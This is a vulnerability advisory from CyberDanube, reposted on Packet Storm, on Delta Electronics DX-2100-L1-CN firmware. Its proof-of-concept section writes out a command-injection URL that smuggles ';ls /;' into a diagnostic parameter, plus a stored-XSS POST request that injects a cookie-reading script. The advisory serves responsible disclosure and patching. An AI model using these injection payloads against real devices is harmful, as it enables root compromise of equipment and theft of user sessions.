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packetstormT. Weber, cyberdanube.comPACKETSTORM:170173
HistoryDec 09, 2022 - 12:00 a.m.

Delta Electronics DX-2100-L1-CN 1.5.0.10 Command Injection / XSS

2022-12-0900:00:00
T. Weber, cyberdanube.com
packetstormsecurity.com
203
`CyberDanube Security Research 20221130-0  
-------------------------------------------------------------------------------  
title| Multiple Vulnerabilities  
product| Delta Electronics DX-2100-L1-CN  
vulnerable version| V1.5.0.10  
fixed version| V1.5.0.12  
CVE number| -  
impact| High  
homepage| https://www.deltaww.com  
found| 2022-08-01  
by| T. Weber (Office Vienna)  
| CyberDanube Security Research  
| Vienna | St. PΓΆlten  
|  
| https://www.cyberdanube.com  
-------------------------------------------------------------------------------  
  
Vendor description  
-------------------------------------------------------------------------------  
"Delta, founded in 1971, is a global provider of power and thermal   
management  
solutions. Its mission statement, "To provide innovative, clean and energy  
-efficient solutions for a better tomorrow," focuses on addressing key  
environmental issues such as global climate change. As an energy-saving  
solutions provider with core competencies in power electronics and   
automation,  
Delta's business categories include Power Electronics, Automation, and  
Infrastructure."  
  
Source: https://www.deltaww.com/en-US/about/aboutProfile  
  
  
Vulnerable versions  
-------------------------------------------------------------------------------  
DX-2100-L1-CN / V1.5.0.10  
  
  
Vulnerability overview  
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1) Authenticated Command Injection  
An authenticated command injection has been identified in the web   
configuration  
service of the device. It can be used to execute system commands on the   
OS from  
the device in the context of the user "root". Therefore, a full   
compromization  
of the device is possible by having credentials for the web service only.  
  
2) Stored Cross-Site Scripting  
A stored cross-site scripting vulnerability has been identified in the   
function  
"net diagnosis" on the device's web configuration service. This can be  
exploited in the context of a victim's session.  
  
  
Proof of Concept  
-------------------------------------------------------------------------------  
1) Authenticated Command Injection  
The parameter "diagnose_address" contains the payload ";ls /;", which   
basically  
prints the content of the root directory to the serial terminal of the   
device.  
  
http://192.168.3.150/lform/net_diagnose?action=diagnose&diagnose_type=0&diagnose_address=;ls%20/;  
  
The output can be seen in the context of a virtualized firmware clone,   
as used  
to find this vulnerability, but is usually invisible to a customer.   
Therefore,  
a more visible payload may be commands that interact via the network, like  
";ping 192.168.0.10;". This command will ping a device on the   
corresponding IP  
address within the local network.  
  
2) Stored Cross-Site Scripting  
The following code prints the current cached cookies of a user's session   
to the  
screen. The JavaScript code will be stored on the device permanently.  
===============================================================================  
POST /lform/urlfilter?action=save HTTP/1.1  
Host: 192.168.3.150  
Accept: */*  
Accept-Language: de,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 190  
Connection: keep-alive  
Cookie: language=en_US; userindex=1; loginexpire=1648630746607; session=30  
  
lan_ipaddr=192.168.5.5&lan_netmask=255.255.255.0&src_addr_start=&src_addr_end=&editnum=0&bfilter_urllist=0&url_addr=<script>alert(document.cookie)</script>&src_addr_type=0&filter_state=1  
===============================================================================  
  
The vulnerabilities were manually verified on an emulated device by   
using the  
MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).  
  
  
Solution  
-------------------------------------------------------------------------------  
Update to firmware version V1.5.0.12.  
  
Workaround  
-------------------------------------------------------------------------------  
None  
  
  
Recommendation  
-------------------------------------------------------------------------------  
CyberDanube recommends Delta Electronics customers to upgrade the   
firmware to  
the latest version available.  
  
  
Contact Timeline  
-------------------------------------------------------------------------------  
2022-08-02: Contacting Delta Electronics.  
2022-08-10: Vendor requested the advisory without encryption; Sent   
advisory to  
Delta Electronics.  
2022-08-16: Security contact asked few questions regarding responsible  
disclosure; Sent answers.  
2022-08-30: Asked for an update.  
2022-09-01: Vendor responded, that they will need more time to resolve the  
issues; Provided additional 30 days (until 2022-11-02) for   
patching.  
2022-10-11: Asked for an update.  
2022-10-12: Vendor responded, that fixing will be done 2022-11-15; Shifted  
release date to this date.  
2022-10-16: Vendor shifted release date again to 2022-11-18. Shifted   
advisory  
release date to the same day.  
2022-10-17: Asked for an update regarding the release; No answer.  
2022-10-18: Asked for an update and shifted release date to 2022-10-22.  
2022-10-19: Vendor responded, that there were problems at releasing the   
patch.  
Contact stated, that the patch will delay until end of   
November.  
2022-10-21: Asked vendor for a concrete release date; No answer.  
2022-10-28: Announced advisory release date for 2022-10-30 to vendor.  
2022-10-29: Found firmware patches with issue date 2022-11-25 on vendors  
website.  
2022-10-30: Vendor confirmed fixes. Coordinated release of security   
advisory.  
  
  
Web: https://www.cyberdanube.com  
Twitter: https://twitter.com/cyberdanube  
Mail: research at cyberdanube dot com  
  
EOF T. Weber / @2022  
  
`